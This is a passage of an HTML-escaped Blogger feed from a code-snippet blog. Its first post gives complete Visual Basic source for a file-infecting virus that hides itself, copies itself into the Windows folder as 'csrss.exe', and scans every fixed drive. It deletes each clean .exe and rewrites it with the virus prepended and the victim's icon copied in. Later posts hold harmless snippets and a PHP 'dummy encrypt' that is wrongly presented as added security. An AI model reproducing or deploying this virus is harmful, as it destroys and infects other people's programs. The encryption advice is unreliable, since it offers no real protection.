case.. so we will extract any icon and save it to the infected EXE&lt;br /&gt;&lt;!--[if !supportLineBreakNewLine]--&gt;&lt;br /&gt;&lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b style=""&gt;&lt;span style="color:black;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color:black;"&gt;Add :&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-indent: 36pt;"&gt;&lt;span style="color:black;"&gt;The Infector Routine depends on The everlasting method&lt;br /&gt;               &gt;&gt;&gt;&gt; My Application&lt;span style=""&gt;  &lt;/span&gt;+ Original EXE &lt;&lt;&lt;&lt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-indent: 36pt;"&gt;&lt;span style="color:black;"&gt;And will be exploring original EXE on drives, be carefull !!!&lt;b style=""&gt;&lt;br /&gt;&lt;!--[if !supportLineBreakNewLine]--&gt;&lt;br /&gt;&lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b style=""&gt;&lt;span style="color:black;"&gt;CODE : ( VB Language )&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b style=""&gt;&lt;span style="color:black;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color:black;"&gt;Dim sPath As String&lt;br /&gt;Dim sOPath As String&lt;br /&gt;Dim sData As String&lt;br /&gt;Dim VirusData As String&lt;br /&gt;Dim FinalEXE As String&lt;br /&gt;Dim lStart As Long&lt;br /&gt;Dim lEnd As Long&lt;br /&gt;Dim sLen As Long&lt;br /&gt;Dim sIcon As String&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;app.TaskVisible = False&lt;br /&gt;&lt;br /&gt;If App.PrevInstance = True Then End&lt;br /&gt;&lt;br /&gt;'## Begin OF Dropping&lt;br /&gt;&lt;br /&gt;sPath = AddBackSlash(App.Path) &amp;amp; App.EXEName &amp;amp; ".exe"&lt;br /&gt;sOPath = AddBackSlash(App.Path) &amp;amp; App.EXEName &amp;amp; ".MFF"&lt;br /&gt;&lt;br /&gt;If LCase(sPath) = LCase(Environ$("WinDir") &amp;amp; "\csrss.exe") Then&lt;br /&gt;&lt;br /&gt;Else&lt;br /&gt;&lt;br /&gt;Open sPath For Binary As #1&lt;br /&gt;sData = Space(LOF(1))&lt;br /&gt;Get #1, , sData&lt;br /&gt;&lt;br /&gt;lStart = InStr(25000, sData, "|||||")&lt;br /&gt;&lt;br /&gt;If lStart &gt; 0 Then&lt;br /&gt;lStart = lStart + 5&lt;br /&gt;sData = Mid(sData, lStart)&lt;br /&gt;Open sOPath For Binary As #2&lt;br /&gt;Put 2, , sData&lt;br /&gt;Close 2&lt;br /&gt;If Command$ = "" Then&lt;br /&gt; Shell sOPath, vbNormalFocus&lt;br /&gt;Else&lt;br /&gt; Shell sOPath &amp;amp; " " &amp;amp; Command$, vbNormalFocus&lt;br /&gt;End If&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;Close 1&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;'## End OF Dropping&lt;br /&gt;&lt;br /&gt;'@@@@@@@@@@@@@@@@@@@@@@@@@&lt;br /&gt;&lt;br /&gt;If Dir(Environ$("WinDir") &amp;amp; "\csrss.exe") = "" Then&lt;br /&gt;sPath = AddBackSlash(App.Path)&lt;br /&gt;FileCopy sPath &amp;amp; App.EXEName &amp;amp; ".exe", Environ$("WinDir") &amp;amp; "\csrss.exe"&lt;br /&gt;While Dir(Environ$("WinDir") &amp;amp; "\csrss.exe") = ""&lt;br /&gt;DoEvents&lt;br /&gt;Wend&lt;br /&gt;Shell Environ$("WinDir") &amp;amp; "\csrss.exe"&lt;br /&gt;End&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;If LCase(sPath) = LCase(Environ$("WinDir") &amp;amp; "\csrss.exe") Then&lt;br /&gt;&lt;br /&gt;'Do nothing&lt;br /&gt;Else&lt;br /&gt;&lt;br /&gt;Shell Environ$("WinDir") &amp;amp; "\csrss.exe"&lt;br /&gt;End&lt;br /&gt;End If&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color:black;"&gt;&lt;br /&gt;'#########################&lt;br /&gt;&lt;b style=""&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;Call GetDrives&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color:black;"&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;!--[if !supportLineBreakNewLine]--&gt;&lt;br /&gt;&lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color:black;"&gt;'#########################&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color:black;"&gt;' Sub GetDrives()&lt;br /&gt;Dim ObjFSO As Object&lt;br /&gt;Dim Drives As Object&lt;br /&gt;Dim sDrive As Object&lt;br /&gt;Set ObjFSO = CreateObject("Scripting.FileSystemObject")&lt;br /&gt;&lt;br /&gt;Set Drives = ObjFSO.Drives&lt;br /&gt;For Each sDrive In Drives&lt;br /&gt;If sDrive.DriveType = 2 Then&lt;br /&gt;MsgBox sDrive &amp;amp; "\"&lt;br /&gt;GetEXEs (sDrive &amp;amp; "\")&lt;br /&gt;GetFolders (sDrive &amp;amp; "\")&lt;br /&gt;End If&lt;br /&gt;Next&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Function GetFolders(Folder As String)&lt;br /&gt;Dim ObjFSO As Object&lt;br /&gt;Dim sFolder As Object&lt;br /&gt;Set ObjFSO = CreateObject("Scripting.FileSystemObject")&lt;br /&gt;For Each sFolder In ObjFSO.GetFolder(Folder).SubFolders&lt;br /&gt;DoEvents&lt;br /&gt;Call GetEXEs(sFolder.Path)&lt;br /&gt;Call GetFolders(sFolder.Path)&lt;br /&gt;Next&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;Function GetEXEs(Path As String)&lt;br /&gt;Dim exes As String, EXEPath As String&lt;br /&gt;&lt;br /&gt;If Right(Path, 1) &lt;&gt; "\" Then Path = Path &amp;amp; "\"&lt;br /&gt;EXEPath = Dir$(Path &amp;amp; "*.exe")&lt;br /&gt;While EXEPath &lt;&gt; ""&lt;br /&gt;List1.AddItem Path &amp;amp; EXEPath&lt;br /&gt;'MsgBox Path &amp;amp; EXEPath&lt;br /&gt;Call InfectEXE(Path &amp;amp; EXEPath)&lt;br /&gt;EXEPath = Dir$&lt;br /&gt;Wend&lt;br /&gt;&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;Function InfectEXE(EXEPath As String)&lt;br /&gt;Me.Visible = True&lt;br /&gt;On Error Resume Next&lt;br /&gt;Dim Check As Boolean&lt;br /&gt;Check = False&lt;br /&gt;&lt;br /&gt;Dim s As String, ss As String, sss As String&lt;br /&gt;Dim sNulls As String&lt;br /&gt;Dim sLenICOINEXE As Long&lt;br /&gt;Dim sLenDif As Long&lt;br /&gt;Dim sLenTemp As String&lt;br /&gt;Dim sTemp As String&lt;br /&gt;&lt;br /&gt;s = "1u" &amp;amp; "(" &amp;amp; Chr$(0) &amp;amp; Chr$(0) &amp;amp; Chr$(0) &amp;amp; " " &amp;amp; Chr$(0) &amp;amp; Chr$(0) &amp;amp; Chr$(0) &amp;amp; "@"&lt;br /&gt;ss = "(" &amp;amp; Chr$(0) &amp;amp; Chr$(0) &amp;amp; Chr$(0) &amp;amp; " " &amp;amp; Chr$(0) &amp;amp; Chr$(0) &amp;amp; Chr$(0) &amp;amp; "@"&lt;br /&gt;sss = "3u(" &amp;amp; Chr$(0) '&amp;amp; Chr$(0) &amp;amp; Chr$(0) &amp;amp; Chr$(0) &amp;amp; Chr$(0) &amp;amp; Chr$(0)&lt;br /&gt;&lt;br /&gt;For i = 1 To 296  ' Generate 296 Nulls to change 16*16 icon&lt;br /&gt;sNulls = sNulls &amp;amp; Chr$(0)&lt;br /&gt;Next&lt;br /&gt;&lt;br /&gt;'First we will check if it is already infected&lt;br /&gt;Open EXEPath For Binary As #1&lt;br /&gt;sData = Space(LOF(1))&lt;br /&gt;Get 1, , sData&lt;br /&gt;Close 1&lt;br /&gt;If InStr(25000, sData, "|||||") Then&lt;br /&gt;'it is infected then do nothing&lt;br /&gt;Else&lt;br /&gt;'it is clean so try to infect it&lt;br /&gt;Kill EXEPath&lt;br /&gt;&lt;br /&gt;sIcon = GetIconFromEXE(sData, Check)&lt;br /&gt;&lt;br /&gt;If Check = True Then&lt;br /&gt;'MsgBox "Icon Found"&lt;br /&gt;&lt;br /&gt;sPath = AddBackSlash(App.Path) &amp;amp; App.EXEName &amp;amp; ".exe"&lt;br /&gt;Open sPath For Binary As #2&lt;br /&gt;VirusData = Space(LOF(2))&lt;br /&gt;Get 2, , VirusData&lt;br /&gt;Close #2&lt;br /&gt;&lt;br /&gt;i = InStr(1, VirusData, s)&lt;br /&gt;If i &lt;&gt; 0 Then '(1u found)&lt;br /&gt; VirusData = Left(VirusData, i + 1) ' get to u in (1u)&lt;br /&gt;&lt;br /&gt; VirusData = VirusData &amp;amp; sIcon&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; FinalEXE = VirusData &amp;amp; "|||||" &amp;amp; sData&lt;br /&gt; Open EXEPath For Binary As #3&lt;br /&gt; Put 3, , FinalEXE&lt;br /&gt; Close 3&lt;br /&gt;&lt;br /&gt; Exit Function&lt;br /&gt;&lt;br /&gt;Else 'If (1u) not found .. try to find (3u)&lt;br /&gt; i = InStr(1, sData, sss)&lt;br /&gt; If i &gt; 0 Then&lt;br /&gt;  'Debug.Print "Second Method Method... (3u found)"&lt;br /&gt;  sTemp = Left(VirusData, i + 1) 'Get to (3u)&lt;br /&gt;  sLenICOINEXE = Len(VirusData) - (i + 297) ' add one byte to 296 coz of (u) in (1u)&lt;br /&gt;  sLenICOINICO = Len(sIcon)&lt;br /&gt;&lt;br /&gt;  If sLenICOINEXE &gt; sLenICOINICO Then&lt;br /&gt;   sLenDif = sLenICOINEXE - sLenICOINICO&lt;br /&gt;&lt;br /&gt;   For i = 1 To sLenDif&lt;br /&gt;    sLenTemp = sLenTemp &amp;amp; Chr$(0)&lt;br /&gt;   Next&lt;br /&gt;  End If&lt;br /&gt;&lt;br /&gt;  VirusData = sTemp &amp;amp; sNulls &amp;amp; sIcon &amp;amp; sLenTemp&lt;br /&gt;  FinalEXE = VirusData &amp;amp; "|||||" &amp;amp; sData&lt;br /&gt;  Open EXEPath For Binary As #3&lt;br /&gt;  Put 3, , FinalEXE&lt;br /&gt;  Close 3&lt;br /&gt;  Exit Function&lt;br /&gt; End If&lt;br /&gt;End If 'for if i &lt;&gt; 0&lt;br /&gt;&lt;br /&gt;FinalEXE = VirusData &amp;amp; "|||||" &amp;amp; sData&lt;br /&gt;Open EXEPath For Binary As #3&lt;br /&gt; Put 3, , FinalEXE&lt;br /&gt;Close 3&lt;br /&gt;&lt;br /&gt;Else ' Means Check = False&lt;br /&gt;'virus icon is default for the final EXE&lt;br /&gt;sPath = AddBackSlash(App.Path) &amp;amp; App.EXEName &amp;amp; ".exe"&lt;br /&gt;&lt;br /&gt;Open sPath For Binary As #2&lt;br /&gt;VirusData = Space(LOF(2))&lt;br /&gt;Get 2, , VirusData&lt;br /&gt;Close #2&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;FinalEXE = VirusData &amp;amp; "|||||" &amp;amp; sData&lt;br /&gt;Open EXEPath For Binary As #3&lt;br /&gt;Put 3, , FinalEXE&lt;br /&gt;Close 3&lt;br /&gt;End If ' for check&lt;br /&gt;&lt;br /&gt;End If ' for |||||&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;Function GetIconFromEXE(ByVal eData As String, ByRef state As Boolean) As String&lt;br /&gt;&lt;br /&gt;Dim c As String, sNull As String, ss As String&lt;br /&gt;Dim sPath As String, sIcon As String&lt;br /&gt;Dim l As Long&lt;br /&gt;c = Chr$(0) &amp;amp; Chr$(0) &amp;amp; Chr$(1) &amp;amp; Chr$(0) &amp;amp; Chr$(1) &amp;amp; Chr$(0) &amp;amp; Chr$(32) &amp;amp; Chr$(32) &amp;amp; Chr$(0) &amp;amp; Chr$(0) &amp;amp; Chr$(0) &amp;amp; Chr$(0) &amp;amp; Chr$(0) &amp;amp; Chr$(0) &amp;amp; Chr$(168) &amp;amp; Chr$(8) &amp;amp; Chr$(0) &amp;amp; Chr$(0) &amp;amp; Chr$(22) &amp;amp; Chr$(0) &amp;amp; Chr$(0) &amp;amp; Chr$(0)&lt;br /&gt;ss = "(" &amp;amp; Chr$(0) &amp;amp; Chr$(0) &amp;amp; Chr$(0) &amp;amp; " " &amp;amp; Chr$(0) &amp;amp; Chr$(0) &amp;amp; Chr$(0) &amp;amp; "@"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;i = InStr(1, eData, "MSVBVM")&lt;br /&gt;&lt;br /&gt;If i &gt; 0 Then&lt;br /&gt;'VB EXE&lt;br /&gt;i = InStr(1, eData, ss)&lt;br /&gt;If i &gt; 0 Then&lt;br /&gt;sIcon = Mid(eData, i)&lt;br /&gt;'sIcon = c &amp;amp; sIcon &amp;amp; sNull &amp;amp; Chr(255)&lt;br /&gt;sIcon = sIcon &amp;amp; sNull &amp;amp; Chr(255)&lt;br /&gt;GetIconFromEXE = sIcon&lt;br /&gt;state = True&lt;br /&gt;&lt;br /&gt;Exit Function&lt;br /&gt;End If&lt;br /&gt;Else ' Not Vb EXE so first search for last (... ...@ and compare the size&lt;br /&gt;i = InStr(1, eData, ss)&lt;br /&gt;If i &gt; 0 Then&lt;br /&gt;If Len(eData) - i &gt; 10000 Then&lt;br /&gt; i = InStrRev(eData, ss, Len(eData))&lt;br /&gt; If i &gt; 0 And Len(eData) - i &lt; sicon =" Mid(eData," sicon =" c" sicon =" sIcon" geticonfromexe =" sIcon" state =" True" sicon =" Mid(eData," sicon =" c" sicon =" sIcon" geticonfromexe =" sIcon" state =" True" sicon =" Mid(eData,"&gt; 0 Then&lt;br /&gt; '      l = 2350 - Len(sIcon)&lt;br /&gt; '      For i = 1 To l&lt;br /&gt; '          sNull = sNull &amp;amp; Chr(0)&lt;br /&gt; '      Next&lt;br /&gt; '  End If&lt;br /&gt;&lt;br /&gt; ' sIcon = c &amp;amp; sIcon &amp;amp; sNull &amp;amp; Chr(255)  &lt;br /&gt; sIcon = sIcon &amp;amp; sNull &amp;amp; Chr(255)&lt;br /&gt; GetIconFromEXE = sIcon&lt;br /&gt; state = True&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; Exit Function&lt;br /&gt;&lt;br /&gt;End If&lt;br /&gt;End If&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;state = False&lt;br /&gt;&lt;br /&gt;End Function&lt;br /&gt;Function AddBackSlash(strPath As String) As String&lt;br /&gt;If Right(strPath, 1) &lt;&gt; "\" Then&lt;br /&gt;AddBackSlash = strPath &amp;amp; "\"&lt;br /&gt;Else&lt;br /&gt;AddBackSlash = strPath&lt;br /&gt;End If&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;Private Sub Form_Unload(Cancel As Integer)&lt;br /&gt;End&lt;br /&gt;End Sub&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color:black;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color:black;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color:black;"&gt;References :&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color:black;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color:black;"&gt;&lt;span style=""&gt;            &lt;/span&gt;Written By justin[Mohamed FaYeD] _&lt;br /&gt;&lt;span style=""&gt;           &lt;/span&gt;&lt;a href="mailto:Thensync@hotmail.com"&gt;Thensync@hotmail.com&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color:black;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color:black;"&gt;&lt;span style=""&gt;            &lt;/span&gt;&lt;a href="http://www.rohitab.com/"&gt;http://www.rohitab.com&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color:black;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;&lt;br /&gt;&lt;/script&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-3670216353874506465?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/3670216353874506465'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/3670216353874506465'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2008/06/exe-friends.html' title='EXE Friends'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-7186645042540027390</id><published>2008-06-17T22:27:00.004+07:00</published><updated>2008-06-17T22:37:15.313+07:00</updated><title type='text'>JAVA - Animate</title><content type='html'>This will rotate an array of images with custom timing for each image.&lt;br /&gt;&lt;br /&gt;HTML :&lt;br /&gt;&lt;pre&gt;&lt;span style="color: navy;"&gt;&lt;&lt;/span&gt;&lt;span style="color: maroon;"&gt;BODY&lt;/span&gt;&lt;span style="color: black;"&gt; onload="setTimeout('animate()',timings[timings.length - 1])"&lt;/span&gt;&lt;span style="color: navy;"&gt;&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style="color: navy;"&gt;&lt;&lt;/span&gt;&lt;span style="color: maroon;"&gt;I&lt;/span&gt;&lt;span style="color: black;"&gt;mg name=anim id=anim src="images/source1.gif"&lt;/span&gt;&lt;span style="color: navy;"&gt;&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style="color: navy;"&gt;&lt;&lt;/span&gt;&lt;span style="color: black;"&gt;/&lt;/span&gt;&lt;span style="color: maroon;"&gt;BODY&lt;/span&gt;&lt;span style="color: navy;"&gt;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;CODE:&lt;br /&gt;&lt;br /&gt;//Make sure the first image is always la&lt;br /&gt;//     st.&lt;br /&gt;var srcs = new Array("source2.jpg","images/source3.gif","images/source1.gif");&lt;br /&gt;//Each timing is for after the correspon&lt;br /&gt;//     ding image displays&lt;br /&gt;var timings = new Array(100,200,300);&lt;br /&gt;//specify whether or not the animation s&lt;br /&gt;//     hould loop&lt;br /&gt;var loop = true;&lt;br /&gt;var i = 0;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  function animate() {&lt;br /&gt;   document.images["anim"].src = srcs[i]&lt;br /&gt;   i++&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;       if(i &lt; srcs.length) {&lt;br /&gt;        setTimeout('animate()',timings[i - 1]);&lt;br /&gt;       }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;           else {&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                if(loop == true) {&lt;br /&gt;                 i = 0;&lt;br /&gt;                 setTimeout('animate()',timings[i - 1]);&lt;br /&gt;                }&lt;br /&gt;               }&lt;br /&gt;          }&lt;br /&gt;&lt;br /&gt;Reference : Matt DeKok&lt;br /&gt;&lt;br /&gt;     Planet-source-code.com&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Thanx, regards !!!&lt;br /&gt;Hemlet&lt;br /&gt;sourcescode&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-7186645042540027390?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/7186645042540027390'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/7186645042540027390'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2008/06/java-animate.html' title='JAVA - Animate'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-1551749489575115409</id><published>2008-06-04T00:30:00.001+07:00</published><updated>2008-06-04T00:31:33.269+07:00</updated><title type='text'>PHP - Dummy Encrypt</title><content type='html'>&lt;span style="font-weight:bold;"&gt;It wlll add a random number between 0-9 to every sencond charcter in a string i find it very usfull if u are trying to use base64 on a more protected level as if u encrypt the same string twice the output would be different as it insterts random numbers even tho this isent as advance as most encryption tech's it would be a good addition to add to others to make them that little bit more secure from prying eyes.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;code&lt;/span&gt; :&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;br /&gt;   function dummy_encode($str) {&lt;br /&gt;   $len = strlen($str);&lt;br /&gt;   $str1=0;&lt;br /&gt;   $final="";&lt;br /&gt;   while ($str1 &lt; $len) {&lt;br /&gt;   $final = $final.substr($str, $str1, 1);&lt;br /&gt;   $str1++;&lt;br /&gt;   $final = $final.rand(0,9);&lt;br /&gt;   }&lt;br /&gt;   return $final;&lt;br /&gt;   }&lt;br /&gt;   function dummy_decode($str) {&lt;br /&gt;   $len = strlen($str);&lt;br /&gt;   $str1=0;&lt;br /&gt;   $final="";&lt;br /&gt;   while ($str1 &lt; $len) {&lt;br /&gt;   $final = $final.substr($str, $str1, 1);&lt;br /&gt;   $str1=$str1+2;&lt;br /&gt;   }&lt;br /&gt;   return $final;&lt;br /&gt;   }&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;references :&lt;br /&gt;&lt;br /&gt;- DAB-Hacker&lt;br /&gt;&lt;br /&gt;- Planet-source-code.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-1551749489575115409?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/1551749489575115409'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/1551749489575115409'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2008/06/php-dummy-encrypt.html' title='PHP - Dummy Encrypt'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-1784584255951675630</id><published>2008-05-23T10:04:00.002+07:00</published><updated>2008-05-23T10:08:44.718+07:00</updated><title type='text'></title><content type='html'>I tried to make this as light as possible just add it to your app and call SearchDirs. It takes two arguments the path to search in and the file or directory to find. It puts alot of Data on the Call Stack however it's very very fast. 3 API's, 5 Constants, 3 User Types, no activex or OLE runtime objects. Thanks and feel free to email if you have any questions.&lt;br /&gt;&lt;br /&gt;'**************************************&lt;br /&gt;'Windows API/Global Declarations for :A &lt;br /&gt;'     Simple Directory Search Module&lt;br /&gt;'**************************************&lt;br /&gt;&lt;br /&gt;Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" _&lt;br /&gt;    (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long&lt;br /&gt;    &lt;br /&gt;&lt;br /&gt;Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long&lt;br /&gt;    &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" _&lt;br /&gt;    (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long&lt;br /&gt;    &lt;br /&gt;    &lt;br /&gt;    Private Const MaxLFNPath = 260&lt;br /&gt;    Private Const INVALID_HANDLE_VALUE = -1&lt;br /&gt;    Private Const VBKEYDOT = 46&lt;br /&gt;    Private Const VBBACKSLASH = "\"&lt;br /&gt;    Private Const VBALLFILES = "*.*"&lt;br /&gt;    &lt;br /&gt;    &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Type FILETIME&lt;br /&gt;    dwLowDateTime As Long&lt;br /&gt;    dwHighDateTime As Long&lt;br /&gt;    End Type&lt;br /&gt;    &lt;br /&gt;&lt;br /&gt;Private Type WIN32_FIND_DATA&lt;br /&gt;    dwFileAttributes As Long&lt;br /&gt;    ftCreationTime As FILETIME&lt;br /&gt;    ftLastAccessTime As FILETIME&lt;br /&gt;    ftLastWriteTime As FILETIME&lt;br /&gt;    nFileSizeHigh As Long&lt;br /&gt;    nFileSizeLow As Long&lt;br /&gt;    dwReserved0 As Long&lt;br /&gt;    dwReserved1 As Long&lt;br /&gt;    cFileName As String * MaxLFNPath&lt;br /&gt;    cShortFileName As String * 14&lt;br /&gt;    End Type&lt;br /&gt;    Private WFD As WIN32_FIND_DATA&lt;br /&gt;&lt;br /&gt;code :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;'**************************************&lt;br /&gt;' Name: A Simple Directory Search Module&lt;br /&gt;'     &lt;br /&gt;' Description:I tried to make this as li&lt;br /&gt;'     ght as possible just add it to your app &lt;br /&gt;'     and call SearchDirs. It takes two argume&lt;br /&gt;'     nts the path to search in and the file o&lt;br /&gt;'     r directory to find. It puts alot of Dat&lt;br /&gt;'     a on the Call Stack however it's very ve&lt;br /&gt;'     ry fast. 3 API's, 5 Constants, 3 User Ty&lt;br /&gt;'     pes, no activex or OLE runtime objects.&lt;br /&gt;Thanks and feel free To email If you have any questions&lt;br /&gt;&lt;br /&gt;' By: Chris King&lt;br /&gt;'&lt;br /&gt;' Returns:Boolean&lt;br /&gt;'&lt;br /&gt;'This code is copyrighted and has' limited warranties.Please see http://w&lt;br /&gt;'     ww.Planet-Source-Code.com/vb/scripts/Sho&lt;br /&gt;'     wCode.asp?txtCodeId=14249&amp;lngWId=1'for details.'**************************************&lt;br /&gt;&lt;br /&gt;'Chris King 01/08/2000 c_king@mtv.com&lt;br /&gt;&lt;br /&gt;Option Explicit &lt;br /&gt;&lt;br /&gt;Public Function SearchDirs(Curpath$, strFName$)&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;    Dim strProg$&lt;br /&gt;    Dim dirs%&lt;br /&gt;    Dim dirbuf$()&lt;br /&gt;    Dim hItem&amp;&lt;br /&gt;    Dim i%&lt;br /&gt;    Dim rtn As Boolean&lt;br /&gt;    &lt;br /&gt;    If Curpath$ = "" Then Exit Function&lt;br /&gt;    If strFName$ = "" Then Exit Function&lt;br /&gt;    &lt;br /&gt;&lt;br /&gt;    If Right(strFName$, 1) = VBBACKSLASH Then&lt;br /&gt;        strFName = Left(strFName, InStr(1, strFName, VBBACKSLASH, vbTextCompare) - 1)&lt;br /&gt;    End If&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;&lt;br /&gt;    If Right(Curpath$, 1) &lt;&gt; VBBACKSLASH Then&lt;br /&gt;        Curpath$ = Curpath$ &amp; VBBACKSLASH&lt;br /&gt;    End If&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;    hItem&amp; = FindFirstFile(Curpath$ &amp; VBALLFILES, WFD)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    If hItem&amp; &lt;&gt; INVALID_HANDLE_VALUE Then&lt;br /&gt;        &lt;br /&gt;&lt;br /&gt;        Do&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;            If (WFD.dwFileAttributes And vbDirectory) Then&lt;br 